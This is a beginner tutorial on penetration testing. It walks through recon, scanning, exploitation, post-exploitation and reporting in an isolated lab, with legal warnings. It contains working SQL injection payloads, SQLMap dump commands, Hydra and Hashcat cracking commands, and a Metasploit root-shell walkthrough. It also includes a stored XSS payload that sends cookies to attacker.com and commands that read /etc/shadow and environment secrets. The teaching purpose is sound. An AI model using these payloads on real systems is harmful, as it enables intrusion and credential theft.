Ethical hacking — also called penetration testing or white-hat hacking — is the practice of legally breaking into systems to find vulnerabilities before malicious hackers do. It's one of the most in-demand skills in cybersecurity, and you don't need a CS degree to get started. This tutorial will take you from zero to running your first penetration test, step by step.

What is Ethical Hacking?

An ethical hacker does the same things a criminal hacker does — reconnaissance, scanning, exploitation — but with written permission from the system owner. The goal is to find and report vulnerabilities so they can be fixed, not exploited.

Ethical Hacker vs Malicious Hacker
🧑‍💻 Ethical Hacker (White Hat)
📝Has written permission
🎯Goal: find & report vulnerabilities
📋Delivers a detailed report
Works within legal boundaries
💰Gets paid by the organization
VS
👾 Malicious Hacker (Black Hat)
🚫No permission — unauthorized
💣Goal: steal, damage, or extort
💸Sells data on the dark web
Violates laws (CFAA, CMA, etc.)
🚨Faces criminal prosecution

The 5 Phases of Penetration Testing

Every professional penetration test follows a structured methodology. Understanding these phases is the foundation of ethical hacking.

The 5 Phases of a Penetration Test
🔍ReconPhase 1
📡ScanningPhase 2
💥ExploitationPhase 3
🔐Post-ExploitPhase 4
📋ReportingPhase 5

Setting Up Your Lab (Safely)

IMPORTANT: Never hack systems you don't own or have written permission to test. Always practice in a safe lab environment. Here's how to set one up:

Your Ethical Hacking Lab Setup
Your Host Machine (Windows / macOS / Linux)Runs VirtualBox or VMware to host virtual machines
Kali Linux VM (Attacker)Pre-loaded with 600+ hacking tools — your main workspace
Vulnerable VMs (Targets)Metasploitable, DVWA, HackTheBox, TryHackMe — practice safely
Isolated Network (Host-Only)VMs talk to each other only — no traffic reaches the internet
# Step 1: Install VirtualBox (free)
# Download from https://www.virtualbox.org/

# Step 2: Download Kali Linux VM image
# https://www.kali.org/get-kali/#kali-virtual-machines
# Default credentials: kali / kali

# Step 3: Download a vulnerable target VM
# Metasploitable 2: https://sourceforge.net/projects/metasploitable/
# Or use TryHackMe (browser-based, no VM needed): https://tryhackme.com

# Step 4: Configure networking
# In VirtualBox: Settings > Network > Attached to: "Host-only Adapter"
# This isolates your lab from the real network

# Step 5: Verify connectivity
ping 192.168.56.101   # Ping your target VM from Kali

Phase 1: Reconnaissance (Information Gathering)

Before touching a target system, gather as much information as possible. This is called recon or OSINT (Open Source Intelligence). The more you know, the more targeted your attack can be.

Passive Reconnaissance

Passive recon means gathering information without directly interacting with the target. You're reading publicly available data — no laws broken, no alerts triggered.

# WHOIS lookup — who owns the domain?
whois example.com
# Shows: registrant name, email, name servers, creation date

# DNS enumeration — discover subdomains and mail servers
dig example.com ANY
dig example.com MX          # Mail servers
dig example.com NS          # Name servers
host -t txt example.com     # TXT records (SPF, DKIM)

# Subdomain discovery
# Using Sublist3r (pre-installed on Kali)
sublist3r -d example.com
# Finds: mail.example.com, dev.example.com, staging.example.com, etc.

# Google Dorking — use Google to find exposed files
# site:example.com filetype:pdf        (find PDFs)
# site:example.com intitle:"index of"  (find directory listings)
# site:example.com inurl:admin         (find admin panels)
# site:example.com ext:sql             (find SQL files)

# Shodan — search engine for internet-connected devices
# https://www.shodan.io/search?query=hostname:example.com
# Shows: open ports, services, SSL certs, known vulnerabilities

# theHarvester — gather emails, names, subdomains
theHarvester -d example.com -b google,linkedin,dnsdumpster

Active Reconnaissance

Active recon involves directly interacting with the target — sending packets, making requests. This can be detected by the target's security systems.

# Ping sweep — which hosts are alive on the network?
nmap -sn 192.168.56.0/24
# Output: Host 192.168.56.101 is up (0.0012s latency)

# Banner grabbing — what software is running?
nc -v 192.168.56.101 80
# Then type: HEAD / HTTP/1.1
# Response reveals: Apache/2.4.7, PHP/5.5.9, Ubuntu

# Traceroute — map the network path
traceroute example.com

Phase 2: Scanning & Enumeration

Now we actively probe the target to discover open ports, running services, and potential vulnerabilities. Nmap is the most important tool here.

Essential Scanning Tools
📡NmapPort scanner
🕸NiktoWeb scanner
💣NessusVuln scanner
🔍DirbDir brute-forcer

Nmap — The Network Mapper

# Basic port scan (top 1000 ports)
nmap 192.168.56.101
# Output:
# PORT     STATE SERVICE
# 21/tcp   open  ftp
# 22/tcp   open  ssh
# 80/tcp   open  http
# 3306/tcp open  mysql

# Service version detection (-sV) + OS detection (-O)
sudo nmap -sV -O 192.168.56.101
# Output:
# 21/tcp   open  ftp     vsftpd 2.3.4
# 22/tcp   open  ssh     OpenSSH 4.7p1
# 80/tcp   open  http    Apache httpd 2.2.8
# OS: Linux 2.6.X

# Aggressive scan (version + scripts + OS + traceroute)
sudo nmap -A 192.168.56.101

# Scan ALL 65535 ports (slower but thorough)
sudo nmap -p- 192.168.56.101

# Vulnerability scan using Nmap scripts (NSE)
nmap --script vuln 192.168.56.101
# Checks for known CVEs in the detected services

# Stealth scan (SYN scan — doesn't complete TCP handshake)
sudo nmap -sS 192.168.56.101

# UDP scan (important — many services run on UDP)
sudo nmap -sU --top-ports 50 192.168.56.101

# Output to file for later analysis
nmap -sV -oN scan-results.txt 192.168.56.101

Web Application Scanning

# Nikto — web vulnerability scanner
nikto -h http://192.168.56.101
# Checks for: outdated software, dangerous files, misconfigurations
# Output: + Server: Apache/2.2.8
#         + /phpinfo.php: PHP info file found
#         + /admin/: Admin directory found

# Directory brute-forcing with Dirb
dirb http://192.168.56.101 /usr/share/wordlists/dirb/common.txt
# Discovers hidden directories: /admin, /backup, /config, /uploads

# Gobuster (faster alternative to Dirb)
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

# WPScan — WordPress-specific scanner
wpscan --url http://192.168.56.101/wordpress --enumerate u,vp,vt
# Enumerates: users, vulnerable plugins, vulnerable themes

Phase 3: Exploitation

This is where you use the vulnerabilities discovered during scanning to gain access to the target system. Always do this in your lab, never on systems without permission.

OWASP Top 10 — Most Common Web Vulnerabilities
1. Broken Access Control
Users accessing unauthorized data or functions
2. Cryptographic Failures
Weak encryption, exposed sensitive data
3. Injection (SQL, XSS, Command)
Untrusted input executed as code
4. Insecure Design
Architectural flaws, missing threat modeling
5. Security Misconfiguration
Default passwords, unnecessary features enabled
6. Vulnerable Components
Outdated libraries with known CVEs
7. Auth & Session Failures
Weak passwords, broken session management

SQL Injection (SQLi) — Hands-On Example

SQL injection is one of the most dangerous and common vulnerabilities. It happens when user input is inserted directly into SQL queries without sanitization.

# Vulnerable login form (PHP backend)
# The server runs this query:
# SELECT * FROM users WHERE username='INPUT' AND password='INPUT'

# Normal login:
Username: admin
Password: password123
# Query: SELECT * FROM users WHERE username='admin' AND password='password123'

# SQL Injection attack:
Username: admin' --
Password: anything
# Query: SELECT * FROM users WHERE username='admin' --' AND password='anything'
# The -- comments out the password check!
# Result: Logged in as admin without knowing the password

# More SQLi payloads:
' OR '1'='1                    # Always true — dumps all rows
' UNION SELECT 1,2,3,4 --     # Extract data from other tables
' UNION SELECT username,password FROM users --  # Dump credentials

Using SQLMap (Automated SQL Injection)

# SQLMap automates SQL injection testing
# Test a URL parameter for SQLi
sqlmap -u "http://192.168.56.101/page.php?id=1" --dbs
# --dbs: list all databases

# Dump a specific database
sqlmap -u "http://192.168.56.101/page.php?id=1" -D mydb --tables
# Lists all tables in 'mydb'

# Dump usernames and passwords
sqlmap -u "http://192.168.56.101/page.php?id=1" -D mydb -T users --dump
# Extracts all rows from the users table
# SQLMap will auto-detect and crack password hashes!

Cross-Site Scripting (XSS)

XSS lets attackers inject malicious JavaScript into web pages viewed by other users.

# Reflected XSS — input is reflected back without sanitization
# Vulnerable URL: http://example.com/search?q=USER_INPUT

# Test payload (shows an alert box):
http://example.com/search?q=<script>alert('XSS')</script>

# Stored XSS — payload is saved in the database
# Example: a comment field that doesn't sanitize HTML
Comment: <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
# Every user who views this comment sends their cookies to the attacker

# DOM-based XSS — manipulating the page's JavaScript
# XSS Prevention:
# 1. Always escape/encode user output
# 2. Use Content-Security-Policy headers
# 3. Use HttpOnly cookies (can't be read by JavaScript)
# 4. Use frameworks that auto-escape (Angular, React do this by default)

Password Cracking

# If you've obtained password hashes (from SQLi, file access, etc.)
# you can attempt to crack them offline

# Using John the Ripper
echo 'admin:5f4dcc3b5aa765d61d8327deb882cf99' > hashes.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Output: password (admin)

# Using Hashcat (GPU-accelerated — much faster)
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# -m 0: MD5 hash type
# -a 0: dictionary attack

# Brute-force SSH login with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101
# Tries every password in rockyou.txt against SSH

# ⚠️ NEVER use these tools against systems without authorization
# These are for your lab environment only!

Metasploit Framework

Metasploit is the most widely-used penetration testing framework. It has thousands of exploits, payloads, and auxiliary modules.

# Start Metasploit console
msfconsole

# Example: Exploiting vsftpd 2.3.4 backdoor (a famous vulnerability)
# This backdoor was discovered in 2011 — vsftpd 2.3.4 has a built-in
# backdoor that opens a shell on port 6200 when you login with a
# username ending in ":)"

msf6> search vsftpd
# Shows: exploit/unix/ftp/vsftpd_234_backdoor

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> set RHOSTS 192.168.56.101
msf6> set RPORT 21
msf6> exploit

# [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
# [*] 192.168.56.101:21 - USER: 331 Please specify the password.
# [+] 192.168.56.101:21 - Backdoor service has been spawned
# [+] 192.168.56.101:21 - UID: uid=0(root)
# You now have a ROOT SHELL on the target machine!

whoami        # root
cat /etc/shadow  # Password hashes for all users
ifconfig      # Network configuration

Phase 4: Post-Exploitation

After gaining access, the next phase is understanding the scope of the compromise — what data is accessible, can you move laterally, can you escalate privileges?

# Linux privilege escalation checks
whoami                    # Current user
id                        # User ID and groups
uname -a                  # Kernel version (check for kernel exploits)
cat /etc/passwd           # All users on the system
cat /etc/shadow           # Password hashes (need root)
sudo -l                   # What can this user run as sudo?
find / -perm -4000 2>/dev/null  # Find SUID binaries (potential privesc)

# Check for interesting files
find / -name "*.conf" 2>/dev/null   # Config files (may contain passwords)
find / -name "*.bak" 2>/dev/null    # Backup files
cat ~/.bash_history                  # Command history (may reveal passwords)
env                                  # Environment variables (API keys, DB creds)

# Network enumeration (from inside the compromised machine)
ifconfig                  # Network interfaces
netstat -tulnp            # Open ports and connections
arp -a                    # Nearby machines on the network

# Windows post-exploitation
whoami /priv              # Check privileges
net user                  # List all users
net localgroup administrators  # Who's admin?
systeminfo                # OS details, hotfixes (missing patches = vulns)

Phase 5: Reporting

The report is the most important deliverable. A pentest without a clear report is worthless. Here's the standard structure:

Penetration Test Report Structure
Executive SummaryNon-technical overview for management — risk level, key findings, business impact
Scope & MethodologyWhat was tested, what tools were used, testing timeline
Findings (Critical → Low)Each vulnerability: description, evidence (screenshots), CVSS score, affected systems
Remediation RecommendationsSpecific fixes for each finding — code changes, config updates, patches
AppendicesRaw scan output, full exploit logs, tool configurations
# Vulnerability severity (CVSS scoring)
Critical (9.0-10.0): Remote code execution, auth bypass, data breach
High     (7.0-8.9):  SQL injection, privilege escalation, XSS (stored)
Medium   (4.0-6.9):  Information disclosure, CSRF, XSS (reflected)
Low      (0.1-3.9):  Missing headers, verbose errors, weak SSL ciphers
Info     (0.0):      Observations, best practices, no direct risk

Essential Tools Cheat Sheet

Ethical Hacking Toolkit
Tool Purpose Phase
NmapPort scanning, service detection, OS fingerprintingScanning
Burp SuiteWeb app proxy, intercepting/modifying HTTP requestsScanning
SQLMapAutomated SQL injection testingExploitation
MetasploitExploitation framework with 2000+ exploitsExploitation
HydraBrute-force login for SSH, FTP, HTTP, MySQLExploitation
John / HashcatPassword hash cracking (CPU/GPU)Exploitation
WiresharkNetwork packet capture and analysisRecon
Gobuster / DirbDirectory and file brute-forcing on web serversScanning

Where to Practice (Legally)

These platforms provide intentionally vulnerable environments for learning:

  • TryHackMe (tryhackme.com) — Browser-based, guided rooms, perfect for beginners. Free tier available.
  • HackTheBox (hackthebox.com) — More challenging, real-world-like machines. Great for intermediate learners.
  • DVWA (Damn Vulnerable Web App) — Self-hosted PHP app with adjustable difficulty levels.
  • OverTheWire (overthewire.org) — Linux command-line challenges (Bandit series is great for beginners).
  • PortSwigger Web Security Academy — Free labs for learning web vulnerabilities from the makers of Burp Suite.
  • PicoCTF — Capture The Flag competitions designed for students.
  • VulnHub — Download vulnerable VMs for your local lab.

Certifications Path

Ethical Hacking Certification Roadmap
🌱CompTIASecurity+ (entry)
💻CEHCertified Ethical Hacker
🎯eJPT / PenTest+Hands-on pentesting
🔥OSCPGold standard
👑OSCE / OSWEExpert level

Responsible Disclosure

If you find a vulnerability in a real system (even accidentally), follow responsible disclosure:

  • Don't exploit it beyond what's needed to confirm it exists.
  • Contact the organization directly (look for a security.txt file at /.well-known/security.txt or a bug bounty program).
  • Give them time to fix it (typically 90 days) before disclosing publicly.
  • Don't share the vulnerability with others before it's patched.
  • Many companies pay bounties — check HackerOne and Bugcrowd for active programs.

Legal & Ethical Guidelines

  • Always get written permission before testing any system. A verbal agreement is not enough.
  • Define the scope clearly — which systems, which methods, what time window.
  • Know your laws: CFAA (USA), Computer Misuse Act (UK), IT Act (India). Unauthorized access is a criminal offense everywhere.
  • Use your powers for good. The difference between a security professional and a criminal is permission and intent.

Ethical hacking is one of the most rewarding career paths in tech. You get paid to think like a criminal, break into systems, and make the internet safer. Start with TryHackMe, build your lab, learn the tools, and practice every day. The cybersecurity industry has a massive talent shortage — your skills are needed.